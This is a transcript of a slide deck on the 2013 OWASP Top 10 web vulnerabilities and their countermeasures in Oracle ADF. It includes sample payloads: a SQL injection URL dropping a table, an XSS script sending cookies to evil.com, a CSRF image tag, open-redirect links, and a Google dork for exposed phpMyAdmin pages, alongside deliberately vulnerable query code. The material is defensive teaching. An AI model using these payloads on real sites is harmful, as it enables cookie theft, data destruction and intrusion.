Top 10 Web Vulnerabilities, and Securing them with ADF

1. Top 10 Web Vulnerabilities, and Securing them with ADF Brian “Bex” Huff Chief Software Architect

2. Agenda • Intro • Open Web Application Security Project (OWASP) • Top 10 Web Application Security Vulnerabilities • Countermeasures • References • Questions?

3. Intro • What is OWASP? • http://owasp.org • Worldwide non-profit focused on improving software security • Reaches out to ALL developers: not just security professionals • Who am I? • Oracle ACE Director • Author of 2 books on Oracle Technology • Twitter: @bex • What will you learn? • The top 10 security mistakes that developers make • How to design software with an assurance of security • You don’t need to be a security guru to secure your web apps

4. OWASP Top 10 of 2013 • Injection • Broken Authentication and Session Management • Cross Site Scripting • Insecure Direct Object References • Security Misconfiguration • Sensitive Data Exposure (NEW) • Missing Function Level Access Control (NEW) • Cross Site Request Forgery (CSRF) • Using Components with Known Vulnerabilities (NEW) • Unvalidated Redirects and Forwards

5. 1) Injection • Used when your app sends user-supplied data to other apps • Database, Operating System, LDAP, Web Services • Hackers "inject" their code to run instead of yours • To access unauthorized data, or completely take over remote application • Example: SQL injection attack • String query = "SELECT * FROM products WHERE name='" + request.getParameter("id") +"'"; • Code expects a nice parameter in the URL • http://example.com/products?id=123 • Hackers could pass this into the URL instead • http://example.com/products?id=';+DROP+TABLE+'products';

6. Example • Don’t: name your child Robert’); DROP TABLE Students;-- • Do: expect SQL Injection

7. Countermeasures • "Connections" between systems are highly vulnerable • Always assume data coming in could be "evil" • Be sure to include "evil" use cases and user stories in your design • Ideally, only allow the user to select among "safe" options • Never allow them to pass data between systems unchecked • If user-input text is needed, use parameterized statements • Clean up quotes, parenthesis, and comments • Use a battle-tested library for protecting your database • ADF prepared statements, OWASP's ESAPI codecs

8. Example // good idea ViewObject studentVO = this.getStudentView(); studentVO.setNamedWhereClauseParam("id", id); // bad idea! ViewObject studentVO = this.getStudentView(); studentVO.setWhereClause("id = " + id); // another bad idea! String query = "select * from students where id=" + id; ViewObject vo = appMod.createViewObjectFromQueryStmt(null,query);

9. ADF Input Validation • Occurs on most components automatically • Additional validate components available for additional filtering • validateLength, validateLongRange, convertDateTime, etc. • Exception: when immediate=true for some components • Can access raw, unfiltered data through managed bean • Hidden fields do not equal secure fields • Expect hackers to tamper with the HTML, and insert their own values • selectOne and selectMany do automatic validation, and are safe • Use caution with custom AJAX layers • Not always subject to ADF input validation

10. 2) Broken Authentication and Session Management • HTTP is a "stateless" protocol • Nice and simple: HTTP request, HTTP response • All data must be passed in the request every time • How do we store state? • Client side with cookies • Server side with sessions • Most apps place a "sessionId" in cookies, or in the URL • Problem: now stealing sessionIds is just as good as stealing passwords! • Multiple ways to determine a session ID • packet sniffing -- especially on an open WiFi access point • HttpReferrer logs, if sessionId is in the URL

11. Countermeasures • Assume that a user stole a session ID • Determine how bad this would be in your application • Use SSL everywhere! • Makes it harder for people to “sniff” your session ID • If you cannot use SSL everywhere, use it for logins • Have a cryptographically strong session ID (ADF default) • Have a reasonable timeout, one hour is fine

12. ADF Countermeasures • Don’t pass the jsessionid in the URL, put it in a cookie • Evil sites can sniff your session ID from their referrer logs • Cookies harder to sniff if SSL is enabled • Sample web.xml snippet <session-descriptor> <cookie-name>MYAPPSESSID</cookie-name> <url-rewriting-enabled>false</url-rewriting-enabled> <timeout-secs>3600</timeout-secs> </session-descriptor>

13. 3) Cross Site Scripting (XSS) • Sites must "cleanse" user input before displaying it • HTML tags can be very dangerous • If a user can embed a <SCRIPT> tag, all is lost! • Hackers can create URLs to inject their own HTML onto the page • Can be used to do almost any kind of attack!!! • ADF is mostly safe, but occasionally vulnerable • User generated content is usually HTML encoded on the page • <script> becomes &lt;script&gt; • Use caution with the af:resource or f:verbatim tags • Never pass in unencoded data!

14. Example • Example: JSP to draw HTML based on user input • String html = "<input name='item' type='TEXT' value='" + request.getParameter("item") + "'>"; • Code expects a nice URL: • http://example.com/buy?item=123 • But a hacker could supply this URL: • http://example.com/buy?item='><script>document.location='http://evil.com/steal/'+document.cookie</script> • Then trick an administrator or superuser to go there • Cookie is stolen, and now evil user can connect as the admin!

15. Countermeasures • Never, ever, ever trust user-submitted content! • Properly "escape" any data before displaying it on web pages • JavaScript parameters, URL parameters, STYLE elements • Remove script tags, and possibly anything with a SRC attribute • Done automatically in ADF, but manually if you bypass ADF and write JS • Use ESAPI to "cleanse" HTML before dumping to page • Do not allow state-change from HTTP GET requests • Otherwise, a rogue IMG tag could delete content • No state change on initial ADF page load! • Set the HttpOnly flag in your response headers • Prevents document.cookie from working in JavaScript

16. 4) Insecure Direct Object Reference • Assume my project id is 123 • I see a link on “My Projects” page that goes here: • http://example.com/projects/123 • If I alter the URL, can I see other people’s projects? • http://example.com/projects/124 • Do you only restrict access in the web form? • What if I could "guess" the URL? Could I see the page? • Don't trick yourself into thinking complex URLs are any more secure • Security != Obscurity

17. Countermeasures • Every resource needs a security level • What roles do you need to access certain items? • Access Control Lists are easy to implement, but don’t always scale • All access to that resource should go through the same check • What action are you taking, with what resource? • Put it all in one common codebase for simplicity • May need to run check multiple times, for sub-actions and sub-resources • Unusual behavior? Have additional authentication questions/layers! • Front-end restriction is nice for usability, but not security • Ideally, put all security in the Application Module (model) • Single location to secure multiple views

18. Countermeasures, ctd. • Avoid direct object reference • Use a temporary variable relevant to just that user • Use a cryptographically strong variable • Validate all references, regardless • Validate access to that reference • Read, write, update, delete

19. ADF Global Security Expressions #{securityContext.authenticated} #{securityContext.userName} #{securityContext.userInRole['roleList']} #{securityContext.userInAllRoles['roleList']} #{securityContext.taskflowViewable['target']} #{securityContext.regionViewable['target']} #{securityContext.userGrantedResource['permission']} #{securityContext.userGrantedPermission['permission']}

20. 5) Security Misconfiguration • Everything from the OS to the DB to the ADF framework • What if ADF issued a security patch? • Do you have a centralized policy for keeping dependencies up-to-date? • How long would it take you to discover new code? • How long would it take to recompile/test/redeploy? • Do you know all security configurations in the framework? • Odds are no... documentation is usually obtuse • “Being helpful is a security hole” • Have you properly "hardened" your infrastrurcture? • Delete default users, disable unused services and ports • Operating System, WebLogic, Database, MDS

21. Countermeasures • Subscribe to newsletters and blog feeds to get patches • Use automation if possible to verify patches • Do periodic scans to detect misconfiguration / missing patches • Disable ports/services/features unused in production • Disable default users and passwords • Never send stack traces or SQL errors directly to end users • Taking over websites shouldn't be this easy: • http://www.google.com/search?q=inurl:SELECT+inurl:FROM+inurl:WHERE+intitle:phpmyadmin

22. 6) Sensitive Data Exposure • All applications store sensitive data • Credit cards, passwords, private health/financial documents • Where does this data get stored? • Database, files, logs, backups, etc. • Where does this data get sent? • Over the web, backup databases, partners, internal emails • JMS queue, web service calls • How are you preventing unauthorized access to all these resources?

23. Storage Layer Countermeasures • If you store secrets, encrypt them! • Use only battle-tested standard encryption algorithms • Analyze possible threats: inside attack, external user • Make sure encryption policy is appropriate for the threats • Encrypt data anywhere it's stored long term • Especially backups! • Store backups of decryption keys separately from data • Restrict access to decrypted data to only authorized users • Hash all passwords with a standard algorithm, and a "salt" • Use strong keys to access the information • Create a password management policy, and stick with it!

24. Sane Pass Phrase Management Policy

25. Transport Layer Countermeasures • Use strong, standards compliant network security protocols • Use TLS (SSL) on all connections with sensitive data • Encrypt messages before transmission • XML-Encryption • Sign messages before transmission • XML-Signature • Disable old, flawed encryption algorithms (ie, SSL 2.0)

26. 7) Missing Function Level Access Control • Similar to Insecure Direct Object Reference • Need to block specific actions, even if no resource is identified • Example: my project is 123 • I will see these URLs on my home page: • http://example.com/project/123 • http://example.com/user/getProjects/ • I could fish around and try other URLs as well: • http://example.com/manager/getProjects/ • http://example.com/admin/getProjects/ • Would your application prevent this? • Same general issue: • you have front-end security, but not back-end security

27. Countermeasures • Do authentication checks at least twice • Front end UI, and back end Controller • Don't draw URLs to the page if the user cannot access them • Bad usability • Hackers might be tempted to fish around for vulnerabilities • Never assume a URL is allowed • Do back-end checks for access, and state change • Add even more layers as needed: • Does all security information exist in the URL? • Can you authenticate right away? • Might you need to get half way through the request before you know what rights are needed? • What if the user has access, but their behavior is unusual • should you prompt for password again, or perhaps for additional authorization?

28. 8) Cross-Site Request Forgery • Evil sites can hijack your browser, and run secure requests: • User logs into secure application behind the firewall http://example.com/myApp • User goes to "evil" website, or loads up "evil" HTML email • HTML contains this image: <img src="http://example.com/myApp/deleteEverything"></img> • With JavaScript and XSS, evil sites can completely take over your browser • Can browse around your intranet, log into bank accounts • Anything you are currently logged into • Complete control, as long as you stay on the evil site • Unfortunate side-effect of Single-Sign-On

29. Countermeasures • Need a unique token to validate that the request is authentic • The jsessionId is sometimes sufficient, but can be stolen with XSS • More secure: unique token for every HTTP request • If somebody steals your jsessionid, they can only do one request! • Steps to validate every request • Put a random number in the session for the next valid token • Put that token on every HTML web form that causes state change • When processing a request, validate the token • Generate another random token for the next request • Place that token in the session, repeat forever! • http://blog.eisele.net/2011/02/preventing-csrf-with-jsf-20.html

30. 9) Using Components with Known Vulnerabilities • In addition to ADF, you may use other frameworks • Open Source Libraries • OEM Libraries • JavaScript frameworks • JARs and JARs and JARs of fun... • Automated hacker tools can find these dependencies • Unless you are always on the latest stable version, you are vulnerable • All possible attack vectors are open • XSS, injection, CDRF being the most common and most troublesome • Rages from annoying to complete takeover of your servers

31. Countermeasures • At a minimum, manually keep track of dependencies/versions • Developers must justify every JAR they depend on • Must manually keep track of version, and check before each release • Better still, use Maven to perform automated builds • Automatically check your JAR version vs. latest stable release • Both have risks to the build process • What if you have to refactor your code every time the JAR is revised? • Annoying, but a neccessary step to secure your applications

32. 10) Unvalidated Redirects and Forwards • Most sites allow redirects to other sites, or pages within the site: • http://example.com/redirect?url=google.com • But, open redirect pages can be used by "phishers" to create links to their site: • http://example.com/redirect?url=evil.com • Link looks like it goes to "example.com", but it goes to "evil.com" • Or, can trick a site user into harming their own site: • http://example.com/redirect?url=/admin.jsp?deleteEverything=true • Sometimes called "phishing holes"

33. ADF Attack Vectors • Common places to do redirects • PagePhaseListener • Download Servlet • Task Flow router • Example code for a redirect: FacesContextfctx = FacesContext.getCurrentInstance(); fctx.getExternalContext().redirect("http://google.com");

34. Countermeasures • Restrict redirects to a limited number of "trusted" sites • Keep a list of all redirect URLs, and pass the ID in the request, instead of the URL • http://example.com/redirect?urlId=123 • Hash the URL with a secret, and pass the hash in the URL • http://example.com/redirect?url=google.com&hash=a1b2c3 • Example: does this URL look like a Google Invoice to you? • http://www.google.com/#invoiceId=123&q=oHg5SJYRHA0&btnI=3564 • Question: are URL shorteners inherently unsafe? • TinyUrl offers a "preview" feature: others should as well

35. References • OWASP top 10, and associated resources • https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project • ADF Code guidelines to prevent security holes: • http://www.oracle.com/technetwork/developer-tools/adf/learnmore/adf-code-guidelines-v1-00-1845659.pdf • JavaScript best practices for ADF • http://www.oracle.com/technetwork/developer-tools/jdev/1-2011-javascript-302460.pdf • Hardening Fusion Middleware to avoid OWASP issues: • http://antonfroehlich.blogspot.com/2012/06/handling-owasp-top-ten-application.html • JSF and OWASP • http://turbomanage.files.wordpress.com/2009/10/securing-jsf-applications-against-owasp-top-ten-color.pdf

36. Questions? • My Company: http://bezzotech.com • My Blog: http://bexhuff.com • My Tweets: @bex • My Self: bex@bezzotech.com